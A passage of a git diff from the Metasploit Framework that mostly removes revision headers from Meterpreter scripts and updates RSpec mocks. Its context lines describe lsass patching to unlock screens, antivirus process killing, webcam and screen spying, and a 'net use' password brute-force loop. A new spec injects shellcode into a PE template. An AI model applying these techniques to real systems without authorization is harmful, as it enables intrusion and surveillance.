old_crc) crc = crc32(data[0, data.length - 12]) data[-12, 4] = [crc].pack('V') - + data[-12, 12].unpack('C*').reverse.each { |b| old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff } diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index 12d0318911..064e41602d 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for abusing the scheduler service in windows #by scheduling and running a list of command against one or more targets diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index b7d017490b..b94515ed72 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # This is a Meterpreter script designed to be used by the Metasploit Framework # # The goal of this script is to obtain system information from a victim through diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index c6e51123ce..20827248aa 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -1,14 +1,10 @@ # -# $Id$ -# # Script to unlock a windows screen by L4teral # Needs system prvileges to run and known signatures for the target system. # This script patches msv1_0.dll loaded by lsass.exe # # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 # -# $Revision$ -# revert = false targets = [ diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 86e841203c..4105efbc79 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 9562457d46..05b39c3fe5 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ ## Meterpreter script that recursively search and download ## files matching a given pattern diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index c2c3fcd803..6022334a4c 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez [ false,"Help menu." ] ) diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index 33508b76e5..7943288655 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic # order which keeps VirusScan icon visible at system tray without disabled sign on it. # Additionally it lets you disable On Access Scanner from registry, upload your detectable diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 9e9795b937..42b3ddb67f 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for obtaining a quick VNC session # diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index 5111081670..f6e65ba5d6 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: scriptjunkie # # Simplify running webcam, whether grabbing a single frame or running diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index 1ce149edc3..f8c97c6bd3 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -1,7 +1,3 @@ -# win32-sshclient.rb -# -# $Id$ -# $Revision$ # # Meterpreter script to deploy & run the "plink" commandline ssh-client # supports only MS-Windows-2k/XP/Vista Hosts @@ -154,7 +150,7 @@ downloaded = nil usage end rhost = val - + when "-f" if !val print_error("-f requires an argument !") @@ -166,14 +162,14 @@ downloaded = nil usage end manual = true - + when "-r" if !val print_error("-r requires an argument !") usage end hostkey = val - + when "-p" rport = val.to_i @@ -323,7 +319,7 @@ if not manual plinkexe = Net::HTTP.get URI.parse(plinkurl) File.open(plink, "wb") { |fd| fd.write(plinkexe) } print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true + downloaded = true end end diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 902b85d893..56232b6227 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -1,7 +1,3 @@ -# win32-sshserver.rb -# -# $Id$ -# $Revision$ # # meterpreter-script to deploy + run OpenSSH # on the target machine @@ -95,10 +91,10 @@ type = "auto" # @@exec_opts.parse(args) { |opt, idx, val| case opt - + when "-h" usage - + when "-f" if !val print_error("-f requires the SFX-filename as argument !") @@ -110,14 +106,14 @@ type = "auto" usage end manual = true - + when "-U" if !val print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") usage end downloadurl = val - + when "-p" if !val print_error("-p requires the password (for the windows-user to add) as argument !") @@ -128,47 +124,47 @@ type = "auto" usage end password = val - + when "-u" if !val print_error("-u requires the username (for the windows-user to add) as argument!") usage end username = val - + when "-r" uninstall = true - + when "-I" if !val print_error("-I requires a directory-name to use as installpath") usage end dirname = val - + when "-F" forced = true - + when "-S" if !val print_error("-S requires s custom string to use as the service-description") usage end servicedesc = val - + when "-N" if !val print_error("-N requires a custom string to use as service-name") usage end servicename = val - + when "-m" noauto = true - + when "-t" type = manual - + else print_error("Unknown option: #{opt}") usage @@ -332,7 +328,7 @@ unless username == "none" print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") usage end - + #Get localized name for windows-admin-grp admingrpname = nil client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index 3cc3ae5af3..abc351b7b7 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -85,7 +83,7 @@ def passbf(session,passlist,target,user,opt,logfile) ::File.open(passlist, "r").each_line do |line| begin print_status("Trying #{u.chomp} #{line.chomp}") - + # Command for testing local login credentials r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) @@ -93,7 +91,7 @@ def passbf(session,passlist,target,user,opt,logfile) end r.channel.close r.close - + # Checks if password is found result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) if result.length == 1 @@ -158,12 +156,12 @@ unsupported if client.platform !~ /win32|win64/i when "-L" userlist = val ulopt = 1 - + when "-cp" chkpolicy(session) exit when "-p" - + passlist = val if not ::File.exists?(passlist) raise "Password File does not exists!" @@ -176,7 +174,7 @@ unsupported if client.platform !~ /win32|win64/i @@exec_opts.usage) helpcall = 1 end - + } # Execution of options selected diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index b91b553545..d01bc01d57 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running WMIC commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/shell/migrate.rb b/scripts/shell/migrate.rb index 327fef8a3a..c44c7780f9 100644 --- a/scripts/shell/migrate.rb +++ b/scripts/shell/migrate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Simply print a message that migrating is not supported on CommandShell sessions... # diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index e6fa404769..b7b3c11b55 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Spawn a meterpreter session using an existing command shell session # diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index f851f48794..51f8b6f399 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -82,7 +82,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = mock('Connection') + connection = double('Connection') connection_pool.stub(:connection => connection) expect { |block| diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb new file mode 100644 index 0000000000..e5a4e9181a --- /dev/null +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -0,0 +1,92 @@ +require 'spec_helper' +require 'msf/core/exe/segment_injector' + +describe Msf::Exe::SegmentInjector do + + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86 + } + end + subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } + + it { should respond_to :payload } + it { should respond_to :template } + it { should respond_to :arch } + it { should respond_to :processor } + it { should respond_to :buffer_register } + + it 'should return the correct processor for the arch' do + injector.processor.class.should == Metasm::Ia32 + injector.arch = :x64 + injector.processor.class.should == Metasm::X86_64 + end + + context '#payload_as_asm' do + it 'should return the payload as declare byte instructions' do + injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n" + end + end + + context '#create_thread_stub' do + it 'should use edx as a default buffer register' do + injector.buffer_register.should == 'edx' + end + + context 'when given a non-default buffer register' do + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86, + :buffer_register => 'eax' + } + end + it 'should use the correct buffer register' do + injector.buffer_register.should == 'eax' + end + end + + it 'should set a buffer register for the payload' do + injector.create_thread_stub.should include('lea edx, [thread_hook]') + end + end + + describe '#generate_pe' do + it 'should return a string' do + injector.generate_pe.kind_of?(String).should == true + end + + it 'should produce a valid PE exe' do + expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception + end + + context 'the generated exe' do + let(:exe) { Metasm::PE.decode(injector.generate_pe) } + it 'should be the propper arch' do + exe.bitsize.should == 32 + end + + it 'should have 5 sections' do + exe.sections.count.should == 5 + end + + it 'should have all the right section names' do + s_names = [] + exe.sections.collect {|s| s_names << s.name} + s_names.should == [".text", ".rdata", ".data", ".rsrc", ".text"] + end + + it 'should have the last section set to RWX' do + exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + end + + it 'should have an entrypoint that points to the last section' do + exe.optheader.entrypoint.should == exe.sections.last.virtaddr + end + end + end +end + diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 4aed0c7d0e..e2d4c358e5 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -15,7 +15,7 @@ describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = mock("service") + mock_service = double("service") mock_service.stub(:server_name=) mock_service.stub(:add_resource) diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index a516ba67ff..c65409261d 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -24,7 +24,7 @@ describe Msf::Modules::Loader::Archive do end let(:framework) do - mock('Framework') + double('Framework') end let(:module_extension) do diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 123446cf2c..916b23d0ae 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -122,7 +122,7 @@ describe Msf::Modules::Loader::Base do context 'loader' do it 'should be a read/write attribute' do - loader = mock('Loader') + loader = double('Loader') namespace_module.loader = loader namespace_module.loader.should == loader @@ -133,7 +133,7 @@ describe Msf::Modules::Loader::Base do it 'should capture the lexical scope' do expect { namespace_module.module_eval_with_lexical_scope(module_content, module_path) - }.to_not raise_error(NameError) + }.to_not raise_error end context 'with malformed module content' do @@ -155,7 +155,7 @@ describe Msf::Modules::Loader::Base do context 'parent_path' do it 'should be a read/write attribute' do - parent_path = mock('Parent Path') + parent_path = double('Parent Path') namespace_module.parent_path = parent_path namespace_module.parent_path.should == parent_path @@ -221,7 +221,7 @@ describe Msf::Modules::Loader::Base do context 'instance methods' do let(:module_manager) do - mock('Module Manager', :module_load_error_by_path => {}) + double('Module Manager', :module_load_error_by_path => {}) end subject do @@ -317,7 +317,7 @@ describe Msf::Modules::Loader::Base do module_manager.stub(:delete).with(module_reference_name) module_manager.stub(:file_changed?).with(module_path).and_return(true) - module_set = mock('Module Set') + module_set = double('Module Set') module_set.stub(:delete).with(module_reference_name) module_manager.stub(:module_set).with(type).and_return(module_set) end @@ -372,11 +372,11 @@ describe Msf::Modules::Loader::Base do context 'with errors from namespace_module_eval_with_lexical_scope' do before(:each) do - @namespace_module = mock('Namespace Module') + @namespace_module = double('Namespace Module') @namespace_module.stub(:parent_path=) subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = mock('Module Content', :empty? => false) + module_content = double('Module Content', :empty? => false) subject.stub(:read_module_content).and_return(module_content) end @@ -471,11 +471,11 @@ describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do - @namespace_module = mock('Namespace Module') + @namespace_module = double('Namespace Module') @namespace_module.stub(:parent_path=) @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) - metasploit_class = mock('Metasploit Class', :parent => @namespace_module) + metasploit_class = double('Metasploit Class', :parent => @namespace_module) @namespace_module.stub(:metasploit_class! => metasploit_class) subject.stub(:namespace_module_transaction).and_yield(@namespace_module) @@ -574,7 +574,7 @@ describe Msf::Modules::Loader::Base do context 'with metasploit_class' do let(:metasploit_class) do - mock('Metasploit Class') + double('Metasploit Class') end before(:each) do @@ -727,7 +727,7 @@ describe Msf::Modules::Loader::Base do anything ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -743,7 +743,7 @@ describe Msf::Modules::Loader::Base do anything ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -759,7 +759,7 @@ describe Msf::Modules::Loader::Base do described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length ) - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.stub(:loader=) subject.stub(:current_module => namespace_module) @@ -767,7 +767,7 @@ describe Msf::Modules::Loader::Base do end it "should set the namespace_module's module loader to itself" do - namespace_module = mock('Namespace Module') + namespace_module = double('Namespace Module') namespace_module.should_receive(:loader=).with(subject) @@ -1173,7 +1173,7 @@ describe Msf::Modules::Loader::Base do # not defined on `nil`. expect { subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - }.to_not raise_error(NoMethodError) + }.to_not raise_error end context 'with namespace_module nil' do @@ -1292,7 +1292,7 @@ describe Msf::Modules::Loader::Base do context '#usable?' do context 'without metasploit_class responding to is_usable' do it 'should return true' do - metasploit_class = mock('Metasploit Class') + metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) subject.send(:usable?, metasploit_class).should be_true @@ -1303,7 +1303,7 @@ describe Msf::Modules::Loader::Base do it 'should delegate to metasploit_class.is_usable' do # not a proper return, but guarantees that delegation is actually happening usability = 'maybe' - metasploit_class = mock('Metasploit Class', :is_usable => usability) + metasploit_class = double('Metasploit Class', :is_usable => usability) subject.send(:usable?, metasploit_class).should == usability end @@ -1314,7 +1314,7 @@ describe Msf::Modules::Loader::Base do end let(:metasploit_class) do - metasploit_class = mock('Metasploit Class') + metasploit_class = double('Metasploit Class') metasploit_class.stub(:is_usable).and_raise(error) diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index d2c2539072..eb967951ac 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -10,7 +10,7 @@ describe Msf::Modules::Loader::Directory do include_context 'Msf::Modules::Loader::Base' let(:module_manager) do - mock('Module Manager') + double('Module Manager') end let(:module_path) do @@ -28,9 +28,9 @@ describe Msf::Modules::Loader::Directory do context '#load_module' do context 'with existent module_path' do let(:framework) do - framework = mock('Msf::Framework', :datastore => {}) + framework = double('Msf::Framework', :datastore => {}) - events = mock('Events') + events = double('Events') events.stub(:on_module_load) events.stub(:on_module_created) framework.stub(:events => events) diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index ecacde36a0..96eaf44a86 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -229,7 +229,7 @@ describe Msf::Modules::Namespace do it 'should not raise an error' do expect { subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error(Msf::Modules::VersionCompatibilityError) + }.to_not raise_error end end end diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 7e0fc62302..1a8d26b86b 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -5,12 +5,12 @@ require 'msf/core/option_container' describe Msf::OptionContainer do it "should create new options for it's args" do - foo_inst = mock("foo_inst") + foo_inst = double("foo_inst") foo_inst.stub(:advanced=) foo_inst.stub(:evasion=) foo_inst.stub(:owner=) - foo_class = mock("opt_class") + foo_class = double("opt_class") foo_class.should_receive(:new).and_return(foo_inst) foo_inst.should_receive(:name).and_return("thing") diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 2f0472b9a1..7bb3d98f8a 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -158,7 +158,7 @@ describe Msf::DBManager do let(:module_instance) do name = 'multi/handler' - mock( + double( 'Msf::Module', :fullname => "exploit/#{name}", :framework => framework, @@ -268,7 +268,7 @@ describe Msf::DBManager do context 'with workspace from either :workspace or session' do it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = mock('Normalized Host') + normalized_host = double('Normalized Host') db_manager.stub(:normalize_host).with(session).and_return(normalized_host) # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. db_manager.stub(:report_vuln) @@ -583,7 +583,7 @@ describe Msf::DBManager do context 'without Msf::Session' do let(:session) do - mock('Not a Msf::Session') + double('Not a Msf::Session') end it 'should raise ArgumentError' do diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1d690ee54d..800c5afc7d 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -108,7 +108,7 @@ describe Rex::Proto::Http::Client do end it "should send creds after receiving a 401" do - conn = mock + conn = double conn.stub(:put) conn.stub(:shutdown) conn.stub(:close) diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb new file mode 100644 index 0000000000..c7089c3ac9 --- /dev/null +++ b/spec/support/matchers/query_the_database.rb @@ -0,0 +1,108 @@ +module Shoulda # :nodoc: + module Matchers + module ActiveRecord # :nodoc: + + # Ensures that the number of database queries is known. Rails 3.1 or greater is required. + # + # Options: + # * when_calling - Required, the name of the method to examine. + # * with - Used in conjunction with when_calling to pass parameters to the method to examine. + # * or_less - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. + # + # Examples: + # it { should query_the_database(4.times).when_calling(:complicated_counting_method) + # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { should_not query_the_database.when_calling(:cached_count) + # + def query_the_database(times = nil) + QueryTheDatabaseMatcher.new(times) + end + + class QueryTheDatabaseMatcher # :nodoc: + def initialize(times) + @queries = [] + @options = {} + + if times.respond_to?(:count) + @options[:expected_query_count] = times.count + else + @options[:expected_query_count] = times + end + end + + def when_calling(method_name) + @options[:method_name] = method_name + self + end + + def with(*method_arguments) + @options[:method_arguments] = method_arguments + self + end + + def or_less + @options[:expected_count_is_maximum] = true + self + end + + def matches?(subject) + subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| + @queries << payload unless filter_query(payload) + end + + if @options[:method_arguments] + subject.send(@options[:method_name], *@options[:method_arguments]) + else + subject.send(@options[:method_name]) + end + + ActiveSupport::Notifications.unsubscribe(subscriber) + + if @options[:expected_count_is_maximum] + @queries.length <= @options[:expected_query_count] + elsif @options[:expected_query_count].present? + @queries.length == @options[:expected_query_count] + else + @queries.length > 0 + end + end + + def failure_message_for_should + if @options.key?(:expected_query_count) + "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + def failure_message_for_should_not + if @options[:expected_query_count] + "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + private + + def friendly_queries + @queries.map do |query| + "\n (#{query[:name]}) #{query[:sql]}" + end.join + end + + def filter_query(query) + query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) + end + + def schema_terms + ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] + end + + def looks_like_schema?(sql) + schema_terms.any? { |term| sql.include?(term) } + end + end + end + end +end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 3349297e16..385abe986d 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,6 +1,6 @@ shared_context 'Msf::UIDriver' do let(:driver) do - mock( + double( 'Driver', :framework => framework ).tap { |driver| diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index f364546412..964925675a 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -319,7 +319,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do context 'with :workspace' do let(:workspace) do - mock(':workspace') + double(':workspace') end before(:each) do @@ -469,7 +469,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do context 'specialization block' do let(:returned_hash) do { - :specialized => mock('Value') + :specialized => double('Value') } end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 6cf698dace..7644295942 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -21,7 +21,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do - migrations = [mock('Migration 1')] + migrations = [double('Migration 1')] ActiveRecord::Migrator.stub(:migrate => migrations) migrate.should == migrations @@ -128,7 +128,7 @@ shared_examples_for 'Msf::DBManager::Migration' do descendants = [] 1.upto(2) do |i| - descendants << mock("Descendant #{i}") + descendants << double("Descendant #{i}") end ActiveRecord::Base.stub(:descendants => descendants) diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 1cb8b7c73d..189474d047 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -73,11 +73,11 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end let(:class_or_module) do - mock('Class or Module', :parent => namespace_module) + double('Class or Module', :parent => namespace_module) end let(:namespace_module) do - mock('Msf::Modules::Namespace', :parent_path => parent_path) + double('Msf::Modules::Namespace', :parent_path => parent_path) end context 'with existing :path' do @@ -435,7 +435,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do context 'with reference_name' do before(:each) do - typed_module_set[reference_name] = mock('Msf::Module') + typed_module_set[reference_name] = double('Msf::Module') end it 'should not change reference_name value' do @@ -469,7 +469,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do it 'should reset #module_info_by_path' do # pre-fill module_info_by_path so change can be detected - module_manager.send(:module_info_by_path=, mock('In-memory Cache')) + module_manager.send(:module_info_by_path=, double('In-memory Cache')) module_info_by_path_from_database! diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 7cd9ea9f4a..c023b32d74 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -91,7 +91,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end let(:namespace_module) do - mock('Namespace Module', :parent_path => parent_path) + double('Namespace Module', :parent_path => parent_path) end let(:options) do diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index ea301d86be..d3937cda69 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -1,4 +1,5 @@ +$:.push "test/lib" unless $:.include? "test/lib" require 'module_test' #load 'test/lib/module_test.rb' diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 7ac463f9db..df39567089 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -1,6 +1,3 @@ -## -# $Id$ -## ## # This file is part of the Metasploit Framework and may be subject to @@ -13,6 +10,9 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/railgun' +$:.push "test/lib" unless $:.include? "test/lib" +require 'module_test' + class Metasploit3 < Msf::Post include Msf::ModuleTest::PostTest @@ -24,7 +24,6 @@ class Metasploit3 < Msf::Post 'Description' => %q{ This module will test railgun code used in post modules}, 'License' => MSF_LICENSE, 'Author' => [ 'kernelsmith'], - 'Version' => '$Revision$', 'Platform' => [ 'windows' ] )) diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 14cbc45f26..527cf190c1 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -1,8 +1,4 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -14,6 +10,9 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' +$:.push "test/lib" unless $:.include? "test/lib" +require 'module_test' + class Metasploit3 < Msf::Post include Msf::ModuleTest::PostTest @@ -28,7 +27,6 @@ class Metasploit3 < Msf::Post 'kernelsmith', # original 'egypt', # PostTest conversion ], - 'Version' => '$Revision$', 'Platform' => [ 'windows' ] )) end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index de0fc83744..005fa01ce7 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -6,6 +6,9 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/services' +$:.push "test/lib" unless $:.include? "test/lib" +require 'module_test' + class Metasploit3 < Msf::Post include Msf::Post::Windows::Services diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index 74fb77240f..c71954179e 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -1,5 +1,6 @@ -require 'test/lib/module_test' +$:.push "test/lib" unless $:.include? "test/lib" +require 'module_test' #load 'test/lib/module_test.rb' #load 'lib/rex/text.rb' @@ -15,11 +16,10 @@ class Metasploit4 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Testing remote unix system manipulation', + 'Name' => 'Testing Remote Unix System Manipulation', 'Description' => %q{ This module will test Post::File API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt'], - 'Version' => '$Revision$', 'Platform' => [ 'linux', 'java' ], 'SessionTypes' => [ 'meterpreter', 'shell' ] )) diff --git a/test/scripts/test-sessions.rc b/test/scripts/test-sessions.rc new file mode 100644 index 0000000000..392210c83a --- /dev/null +++ b/test/scripts/test-sessions.rc @@ -0,0 +1,33 @@ +<% old_mod = active_module %> + +sessions -v + + +def run_for_session(modname, id) + print_line(modname) + run_single("use #{modname}") + run_single("set SESSION #{id}") + run_single("run") +end + +framework.sessions.each do |id, s| + if s.type == 'meterpreter' + run_for_session("post/test/meterpreter", id) + + if s.sys.config.sysinfo["OS"] =~ /win/in + run_for_session("post/test/registry", id) + run_for_session("post/test/services", id) + else + run_for_session("post/test/unix", id) + end + + if s.railgun + run_for_session("post/test/railgun_reverse_lookups", id) + end + end + 